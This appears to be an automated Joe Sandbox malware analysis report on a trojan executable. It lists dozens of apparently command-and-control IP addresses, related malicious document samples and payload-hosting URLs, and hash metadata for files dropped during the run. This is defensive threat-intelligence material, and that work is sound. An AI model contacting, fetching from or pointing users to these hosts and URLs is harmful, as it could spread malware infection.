139.130.242.43	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	true
82.80.155.43	unknown	Israel	8551	BEZEQ-INTERNATIONAL-ASBezeqintInternetBackboneIL	true
110.145.77.103	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	true
61.92.17.12	unknown	Hong Kong	9269	HKBN-AS-APHongKongBroadbandNetworkLtdHK	true
120.150.60.189	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	true
93.147.212.206	unknown	Italy	30722	VODAFONE-IT-ASNIT	true
91.211.88.52	unknown	Ukraine	206638	HOSTFORYUA	true
68.188.112.97	unknown	United States	20115	CHARTER-20115US	true
153.232.188.106	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	true
140.186.212.146	unknown	United States	11232	MIDCO-NETUS	true
121.7.127.163	unknown	Singapore	9506	SINGTEL-FIBRESingtelFibreBroadbandSG	true
50.35.17.13	unknown	United States	27017	ZIPLY-FIBER-LEGACY-ASNUS	true
157.245.99.39	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
203.153.216.189	unknown	Indonesia	45291	SURF-IDPTSurfindoNetworkID	true
174.45.13.118	unknown	United States	33588	BRESNAN-33588US	true
162.241.242.173	unknown	United States	46606	UNIFIEDLAYER-AS-1US	true
85.105.205.77	unknown	Turkey	9121	TTNETTR	true
123.176.25.234	unknown	Maldives	7642	DHIRAAGU-MV-APDHIVEHIRAAJJEYGEGULHUNPLCMV	true
74.120.55.163	unknown	Canada	32315	WJBTN-ASCA	true
50.91.114.38	unknown	United States	33363	BHN-33363US	true
200.114.213.233	unknown	Argentina	10318	TelecomArgentinaSAAR	true
78.24.219.147	unknown	Russian Federation	29182	THEFIRST-ASRU	true
24.179.13.119	unknown	United States	20115	CHARTER-20115US	true
104.156.59.7	unknown	United States	29802	HVC-ASUS	true
203.117.253.142	unknown	Singapore	9874	STARHUB-MOBILEStarHubLtdSG	true
201.173.217.124	unknown	Mexico	11888	TelevisionInternacionalSAdeCVMX	true
139.99.158.11	unknown	Canada	16276	OVHFR	true
134.209.36.254	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
195.251.213.56	unknown	Greece	12364	UOMGR	true
75.80.124.4	unknown	United States	20001	TWC-20001-PACWESTUS	true
121.124.124.40	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
47.144.21.12	unknown	United States	5650	FRONTIER-FRTRUS	true
139.59.60.244	unknown	Singapore	14061	DIGITALOCEAN-ASNUS	true
61.19.246.238	unknown	Thailand	9335	CAT-CLOUD-APCATTelecomPublicCompanyLimitedTH	true
168.235.67.138	unknown	United States	3842	RAMNODEUS	true
139.59.67.118	unknown	Singapore	14061	DIGITALOCEAN-ASNUS	true
137.59.187.107	unknown	Hong Kong	18106	VIEWQWEST-SG-APViewqwestPteLtdSG	true
219.74.18.66	unknown	Singapore	9506	SINGTEL-FIBRESingtelFibreBroadbandSG	true
78.187.156.31	unknown	Turkey	9121	TTNETTR	true
188.219.31.12	unknown	Italy	30722	VODAFONE-IT-ASNIT	true
83.169.36.251	unknown	Germany	20773	GODADDYDE	true
74.134.41.124	unknown	United States	10796	TWC-10796-MIDWESTUS	true
5.196.74.210	unknown	France	16276	OVHFR	true
42.200.107.142	unknown	Hong Kong	4760	HKTIMS-APHKTLimitedHK	true
1.221.254.82	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
74.208.45.104	unknown	United States	8560	ONEANDONE-ASBrauerstrasse48DE	true
120.138.30.150	unknown	New Zealand	45179	SITEHOST-AS-APSiteHostNewZealandNZ	true
84.39.182.7	unknown	Spain	15704	AS15704ES	true
97.82.79.83	unknown	United States	20115	CHARTER-20115US	true
24.137.76.62	unknown	Canada	11260	EASTLINK-HSICA	true
82.225.49.121	unknown	France	12322	PROXADFR	true
37.187.72.193	unknown	France	16276	OVHFR	true
181.169.34.190	unknown	Argentina	10318	TelecomArgentinaSAAR	true
95.179.229.244	unknown	Netherlands	20473	AS-CHOOPAUS	true
109.74.5.95	unknown	Sweden	43948	GLESYS-ASSE	true
74.219.172.26	unknown	United States	5787	SNAPONSBSUS	true
79.137.83.50	unknown	France	16276	OVHFR	true
103.86.49.11	unknown	Thailand	58955	BANGMODENTERPRISE-THBangmodEnterpriseCoLtdTH	true
209.141.54.221	unknown	United States	53667	PONYNETUS	true
89.216.122.92	unknown	Serbia	31042	SERBIA-BROADBAND-ASSerbiaBroadBand-SrpskeKablovskemreze	true
185.94.252.104	unknown	Germany	197890	MEGASERVERS-DE	true
5.39.91.110	unknown	France	16276	OVHFR	true
137.119.36.33	unknown	United States	11426	TWC-11426-CAROLINASUS	true
104.236.246.93	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
94.23.216.33	unknown	France	16276	OVHFR	true
219.75.128.166	unknown	Japan	17511	OPTAGEOPTAGEIncJP	true

Private

IP
127.0.0.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	463765
Start date:	12.08.2021
Start time:	03:40:36
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	PHvqpLRfRl.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal88.troj.evad.winEXE@17/11@0/98
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 55.8% (good quality ratio 53.1%) Quality average: 73.7% Quality standard deviation: 28.1%
HCA Information:	Successful, ratio: 79% Number of executed functions: 49 Number of non-executed functions: 90
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, UsoClient.exe Excluded IPs from analysis (whitelisted): 20.42.65.92, 20.189.173.21, 20.82.209.183, 23.211.4.86, 173.222.108.226, 173.222.108.210, 20.82.210.154, 80.67.82.211, 80.67.82.235, 40.112.88.60, 23.211.6.115 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, e12564.dspb.akamaiedge.net, audownload.windowsupdate.nsatc.net, onedsblobprdwus16.westus.cloudapp.azure.com, arc.trafficmanager.net, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, fs.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, ris.api.iris.microsoft.com, onedsblobprdeus17.eastus.cloudapp.azure.com, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:41:50	API Interceptor	2x Sleep call for process: svchost.exe modified
03:43:06	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
174.102.48.180	5lBz4O8bUN.doc	Get hash	malicious	Browse	174.102.48.180/jtyr8mFvYGYj/H7grRXk4w1o/4MuF3bMLq0cKl/CVHw/GjS2/
	4fCoc3EWF8.doc	Get hash	malicious	Browse	174.102.48.180/0uZBOtzp5ZZuqTEU/p5ZQlt/7irz8wZhDmQ/
	eB05tZUpsh.doc	Get hash	malicious	Browse	174.102.48.180/vcurP8/cEWPW3fXnFVIv4/l8rn5A4EoN/
	CZmyxawolk.doc	Get hash	malicious	Browse	174.102.48.180/P1SbvFpN1rlbe/sLIF0OsTIidIbo7/LaR1t/XZ97OQ/
	HgTBiPyQ0i.doc	Get hash	malicious	Browse	174.102.48.180/Pp0yU5lAl1Cby9r7v/cejVzM1rIL/7jc2lZ8uA6/YYE64/
	dkA9HMvth0.doc	Get hash	malicious	Browse	174.102.48.180/E9A3e/k8LVL3u3nyETISGp7XJ/
	cvk4bdf6kV.doc	Get hash	malicious	Browse	174.102.48.180/RVMVbOJikCEq5F/2AF8xs/dKSb/
	lug9AAmZ27.doc	Get hash	malicious	Browse	174.102.48.180/fOogpStFjuFENYz/ehFarEKXgKAwlw4sP48/
	URwKSHvdeS.doc	Get hash	malicious	Browse	174.102.48.180/p0FHz/OPfgrgr/nsrmIVANjaJPLm/ZZjqrVzXZJTnN9/
	9aeq4p0CrS.doc	Get hash	malicious	Browse	174.102.48.180/0mOKsBvKx0b4KK/uPzMsiW9/2SjqY9AGEjxcuXfS/
	cvk4bdf6kV.doc	Get hash	malicious	Browse	174.102.48.180/yYqfz97/FA8Z6n7Fde3jQ/e4pPuASo8u3y1vl/mloUKV7wzhYq/sy6lIW/2yVFHAVuWj9s0PyPS/
	lKJxKSdIy4.doc	Get hash	malicious	Browse	174.102.48.180/SNXMsYvg/phKE/zl4BpkbmfCIpju0R/Bzmtx4R3jk/bID0URsKDigHO/
	pgJzEMBQ3v.doc	Get hash	malicious	Browse	174.102.48.180/Bm5W77/
	UcYAnzcuLw.doc	Get hash	malicious	Browse	174.102.48.180/tnW0pFxvi3jcsLuVal/
	Aq8q0n63D4.doc	Get hash	malicious	Browse	174.102.48.180/nCed3Y2wxhWyzv/KaZmMua2Fiehlk/pl0iadsZMVl/
	pgJzEMBQ3v.doc	Get hash	malicious	Browse	174.102.48.180/oaJmJZPXoIq/lYF5su/i8zdxWzfR11Xc5oR8pu/BjvTN9UYdBdCPzV/
	6LrCTq9XRL.doc	Get hash	malicious	Browse	174.102.48.180/btt1Pei5RlrPz8rt0wo/mrxg9KPxTEXkPld6TJ/
	B1Qx9hGmL1.doc	Get hash	malicious	Browse	174.102.48.180/M0PWhEPvT/0qHu0ayQcHUsRIr/YNysMpWaMK9/Im9kWV98EkdTud/QzlJEEkC/GHPhKTebx0X8IEVERw/
	VMpO7ctkCN.doc	Get hash	malicious	Browse	174.102.48.180/daht480rCxBFtzfye/ycNSOFzC0YSRgt5lj/
	qC8xQnshQT.doc	Get hash	malicious	Browse	174.102.48.180/k1tnm5/m9z40ZgIZfJ9Y/SlpBbwCoKsnTcrQZu/qVmMdRk52NoYEiwJHbn/aNcR98ch/
94.200.114.161	test-emotet.exe	Get hash	malicious	Browse	94.200.114.161/
85.152.162.105	NWMEaRqF7s.exe	Get hash	malicious	Browse
	ZaI35eo6u9.exe	Get hash	malicious	Browse
	vvx4kLOlAb.exe	Get hash	malicious	Browse
	http://ehitusest.eu/marketplacel/sites/r5zmfubb2b/	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TWC-10796-MIDWESTUS	J4C5IXCvD9	Get hash	malicious	Browse	69.135.6.237
	F6gc9bMj46	Get hash	malicious	Browse	71.74.142.87
	7NuxE5BCX7	Get hash	malicious	Browse	71.79.22.9
	8kNgpvKpMy	Get hash	malicious	Browse	74.218.30.81
	8JcGfEg1D8	Get hash	malicious	Browse	74.62.104.65
	Ck4BThYsDw	Get hash	malicious	Browse	174.101.182.235
	l6zn4I2gR0	Get hash	malicious	Browse	192.181.50.193
	PbVMrewfKY	Get hash	malicious	Browse	74.131.166.186
	d5reZjGi2R	Get hash	malicious	Browse	75.187.158.160
	SUsQqSw8ip	Get hash	malicious	Browse	162.152.25.92
	aysg3ZHrSn	Get hash	malicious	Browse	75.186.5.45
	DgPSz8yXHm	Get hash	malicious	Browse	70.62.23.74
	HWixtKQtDD	Get hash	malicious	Browse	71.73.0.77
	UMiTH6VAAm	Get hash	malicious	Browse	75.178.242.100
	gCt2Uvhj67	Get hash	malicious	Browse	76.190.50.144
	leMKuKe7Ou	Get hash	malicious	Browse	104.230.229.119
	d71jxmnvUx	Get hash	malicious	Browse	70.92.228.6
	oukOm1BrrT	Get hash	malicious	Browse	74.138.178.162
	ffbjLmdIN9	Get hash	malicious	Browse	147.19.123.241
	4ymeL7ChN7	Get hash	malicious	Browse	74.134.17.101
TELECABLESpainES	l9Ix5r5wGZ	Get hash	malicious	Browse	85.152.66.234
	5tNstyTOAF	Get hash	malicious	Browse	188.171.41.165
	4xObcnCGsB	Get hash	malicious	Browse	85.152.9.22
	kb5IbEJU8c	Get hash	malicious	Browse	85.152.156.228
	NWMEaRqF7s.exe	Get hash	malicious	Browse	85.152.162.105
	project-a.exe	Get hash	malicious	Browse	93.156.9.212
	project-a.exe	Get hash	malicious	Browse	93.156.9.212
	9cf2c56e_by_Libranalysis.exe	Get hash	malicious	Browse	85.152.174.56
	ZaI35eo6u9.exe	Get hash	malicious	Browse	85.152.162.105
	vvx4kLOlAb.exe	Get hash	malicious	Browse	85.152.162.105
	http://ehitusest.eu/marketplacel/sites/r5zmfubb2b/	Get hash	malicious	Browse	85.152.162.105
	newage	Get hash	malicious	Browse	188.171.41.194
	http://gondan.thinkaweb.com/sites/US/DOC/Direct-Deposit-Notice	Get hash	malicious	Browse	212.89.13.71
	http://galeona.com/soberno.bin	Get hash	malicious	Browse	212.89.16.142
	I2363059224.js	Get hash	malicious	Browse	212.89.16.142
	I2363059224.js	Get hash	malicious	Browse	212.89.16.142
	693336902_11_07_2017_36_92_50.doc	Get hash	malicious	Browse	212.89.16.142
DU-AS1AE	Vjeta9CbXg	Get hash	malicious	Browse	94.204.106.205
	5XMSrYsmRW	Get hash	malicious	Browse	91.72.218.214
	6K8zK2czTn	Get hash	malicious	Browse	94.204.216.53
	LDit8hIL8X	Get hash	malicious	Browse	94.204.154.134
	tMA66IeqHu	Get hash	malicious	Browse	91.74.61.63
	KoknEiNL8U	Get hash	malicious	Browse	91.75.105.97
	leMKuKe7Ou	Get hash	malicious	Browse	213.132.40.74
	wqdheN4fHE	Get hash	malicious	Browse	5.31.102.66
	w9trNTvSN6	Get hash	malicious	Browse	94.204.241.42
	ZIB8Eu6SUW	Get hash	malicious	Browse	80.227.203.45
	EXWofBp7D3	Get hash	malicious	Browse	94.204.106.215
	FcS2LLgnCT	Get hash	malicious	Browse	94.204.75.39
	3etkq3iOPQ	Get hash	malicious	Browse	94.204.253.54
	vw23PmQlqG	Get hash	malicious	Browse	87.200.54.76
	cUfweIWt2x	Get hash	malicious	Browse	94.204.14.84
	GSJ1vGT2WQ	Get hash	malicious	Browse	91.72.178.118
	N5YMd8tYgj	Get hash	malicious	Browse	94.204.241.73
	MPjc1ARjq2	Get hash	malicious	Browse	80.227.151.230
	uUeNOJKD3h	Get hash	malicious	Browse	80.227.203.25
	8xVa4UKUer	Get hash	malicious	Browse	80.227.203.11

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.5967038728698416
Encrypted:	false
SSDEEP:	6:bmHXEk1GaD0JOCEfMuaaD0JOCEfMKQmD2HitAl/gz2cE0fMbhEZolrRSQ2hyYIIT:bmbGaD0JcaaD0JwQQhtAg/0bjSQJ
MD5:	09C1EEA4E082E5FC05E6818DE719DFEE
SHA1:	18E7C6F8112484E8F110532D85D49D6D77A148BF
SHA-256:	30BD994B38AE48605586B6B24BCC996E6D8E067C7733EB645E6A2FCB86828FC4
SHA-512:	8A3E3B0EAD63D5C950F3A125A6BD6A59BC3353B3560C2792BBDCD44001C1CB7680A5DAFBF054A402F129C05977B79A03AB12402BE5A5C1D04F5E9D9AA3E90109
Malicious:	false
Preview:	....E..h..(.....2)...y).............. ..1C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................2)...y)...........&......e.f.3...w.......................3...w..................h..C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b...G............................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x0efe33c8, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.09548928066021656
Encrypted:	false
SSDEEP:	12:iKoc0+yO4blxQDwKcKoc0+yO4blxQDwK:iKoTR8wKoTR8
MD5:	E0C8DBEBC76DF1DF7081C38AD66AF73C
SHA1:	14E8ED9262FE4D9D185E1BCF1DF69618CD0A4248
SHA-256:	37A8266CC7DB18AF2665F0AE27C3AA624EF87F90638351F2C1735E8A85075068
SHA-512:	A58E971F5417AB7FD6B35DF05B49399D8BD108E4BA7D3D54E136C97D51BECEE514936A87E252BD10332C19E900734ECD44B3D4455EF2CF7971EC7C027515558B
Malicious:	false
Preview:	..3.... ................e.f.3...w........................&..........w..2)...y).h.(..............................3...w...........................................................................................................B...........@...................................................................................................... ........3...w......................................................................................................................................................................................................................................w...2)...y.m................X...2)...y).........................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.10998204414275213
Encrypted:	false
SSDEEP:	3:nNl/7EvXuDLkl/bJdAtizvDLXlall:PiKLkt4gDLXA
MD5:	48491BD81AF18F93199F4C0BEB283A18
SHA1:	41DD71F329D4D59ED504269DDA4DC42CC3B33817
SHA-256:	E156206280F795CD096C35660B5F53D0E1CB1114C200D9A0E9AFE4FAC7D8F3F3
SHA-512:	4D0436EB7DD43F6688A86261D67B111266E25C46C64334DEE955924F12320225042BB86B44BEEFD213D9204FD92AC775204B8214018FD8E2BC76C56C3DC25AAC
Malicious:	false
Preview:	~........................................3...w..2)...y)......w...............w.......w....:O.....w..................X...2)...y).........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11006616252470452
Encrypted:	false
SSDEEP:	12:26XhXm/Ey6q99959kq3qQ10nMCldimE8eawHjclQa3:26cl68RLyMCldzE9BHjclQ6
MD5:	9181DD55F1C0BBAC930CC1A58606C942
SHA1:	4AB034AB1751F0AC17992F6CBE95B81D4D58BF96
SHA-256:	1133A76F073B741EA310314AECC06F3BB03269DBC5C064D7267575B489B572FC
SHA-512:	58B9C40EB10B70E44E89B035010F97E7A84BFF2AAA05729699F61109F466640AF46DB7428B3622E737113A41DECA76C68389AD5E6D2502AD648E1A5858EBDD21
Malicious:	false
Preview:	................................................................................d...L......M.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................[5G0..... .........f...........S.y.n.c.V.e.r.b.o.s.e...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.S.y.n.c.V.e.r.b.o.s.e...e.t.l...........P.P.d...L......M....................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11274936236517538
Encrypted:	false
SSDEEP:	12:HSjXm/Ey6q99959gj1miM3qQ10nMCldimE8eawHza1miIjP:H3l68gj1tMLyMCldzE9BHza1tIr
MD5:	B2FD6C3CBCF7A90C1FC9D970387AA06B
SHA1:	449EFE720E57770A6C974BFE5C4E5C4019854742
SHA-256:	3EFEAB1C0C6492736DC5FFDDBF6879CF15AF0B26BA7EDB7489D7AE4D774529EB
SHA-512:	42C2C35569F5705003AABEA54039B28BA539803367EE22D95004668259D1AD6400628C047221498D0409670ACE0E83643254131D9E9178499A1F01B0A778A61B
Malicious:	false
Preview:	................................................................................d...L.....M.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................[5G0..... .....;..f...........U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...e.t.l.......P.P.d...L......M....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11259598149770064
Encrypted:	false
SSDEEP:	12:BRjXm/Ey6q99959gj1mK2P3qQ10nMCldimE8eawHza1mKzM/6P:Gl68gj1iPLyMCldzE9BHza18/a
MD5:	9C5A372DCA863E523F39E09A91FEF938
SHA1:	17A313FD73DBEC87D9F1BA1E19E54F508EC9A7DE
SHA-256:	6999A4EF9C1F5B80141F3F36F45254D23EB20F586CC92C99ACD3FAF80CCFC9A5
SHA-512:	DA5BE3856203A73AD8E8546C018FC047946249F37495736D989477999A50A3B8FB5C91218067C9E4E7D0219137C0D5BC6D9CEA1EE12E30D33427840E3550AD21
Malicious:	false
Preview:	................................................................................d...L...,b.M.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................[5G0..... .....;..f...........U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...e.t.l.......P.P.d...L...2j.M....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl.0001@. (copy) Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11006616252470452
Encrypted:	false
SSDEEP:	12:26XhXm/Ey6q99959kq3qQ10nMCldimE8eawHjclQa3:26cl68RLyMCldzE9BHjclQ6
MD5:	9181DD55F1C0BBAC930CC1A58606C942
SHA1:	4AB034AB1751F0AC17992F6CBE95B81D4D58BF96
SHA-256:	1133A76F073B741EA310314AECC06F3BB03269DBC5C064D7267575B489B572FC
SHA-512:	58B9C40EB10B70E44E89B035010F97E7A84BFF2AAA05729699F61109F466640AF46DB7428B3622E737113A41DECA76C68389AD5E6D2502AD648E1A5858EBDD21
Malicious:	false
Preview:	................................................................................d...L......M.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................[5G0..... .........f...........S.y.n.c.V.e.r.b.o.s.e...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.S.y.n.c.V.e.r.b.o.s.e...e.t.l...........P.P.d...L......M....................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl.0001 (copy) Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11274936236517538
Encrypted:	false
SSDEEP:	12:HSjXm/Ey6q99959gj1miM3qQ10nMCldimE8eawHza1miIjP:H3l68gj1tMLyMCldzE9BHza1tIr
MD5:	B2FD6C3CBCF7A90C1FC9D970387AA06B
SHA1:	449EFE720E57770A6C974BFE5C4E5C4019854742
SHA-256:	3EFEAB1C0C6492736DC5FFDDBF6879CF15AF0B26BA7EDB7489D7AE4D774529EB
SHA-512:	42C2C35569F5705003AABEA54039B28BA539803367EE22D95004668259D1AD6400628C047221498D0409670ACE0E83643254131D9E9178499A1F01B0A778A61B
Malicious:	false
Preview:	................................................................................d...L.....M.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................[5G0..... .....;..f...........U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...e.t.l.......P.P.d...L......M....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl.0001.k (copy) Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11259598149770064
Encrypted:	false
SSDEEP:	12:BRjXm/Ey6q99959gj1mK2P3qQ10nMCldimE8eawHza1mKzM/6P:Gl68gj1iPLyMCldzE9BHza18/a
MD5:	9C5A372DCA863E523F39E09A91FEF938
SHA1:	17A313FD73DBEC87D9F1BA1E19E54F508EC9A7DE
SHA-256:	6999A4EF9C1F5B80141F3F36F45254D23EB20F586CC92C99ACD3FAF80CCFC9A5
SHA-512:	DA5BE3856203A73AD8E8546C018FC047946249F37495736D989477999A50A3B8FB5C91218067C9E4E7D0219137C0D5BC6D9CEA1EE12E30D33427840E3550AD21
Malicious:	false
Preview:	................................................................................d...L...,b.M.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................[5G0..... .....;..f...........U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...e.t.l.......P.P.d...L...2j.M....................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log Download File
Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	data
Category:	modified
Size (bytes):	906
Entropy (8bit):	3.1605599587363233
Encrypted:	false
SSDEEP:	12:58KRBubdpkoF1AG3rbGTk9+MlWlLehB4yAq7ejCAG+:OaqdmuF3rZ+kWReH4yJ7Mr
MD5:	685AC3CE7ED30521D16D92028433D9FE
SHA1:	F9DFFE4DCA66001A6DECDB883AC305BFB628B5EB
SHA-256:	D28C8B36252AD2C2D1E4A3BAF71AEDA1DBA937E86B972A790F5E66877F346128
SHA-512:	F8558185D94806CE43D5928F631B481EBBAF24D20FF94A39814858A97E3D4C5013EB131BA4B69339531E7B30BC3D5D69BBB1E273AE8AE652B587DBFFE245B73D
Malicious:	false
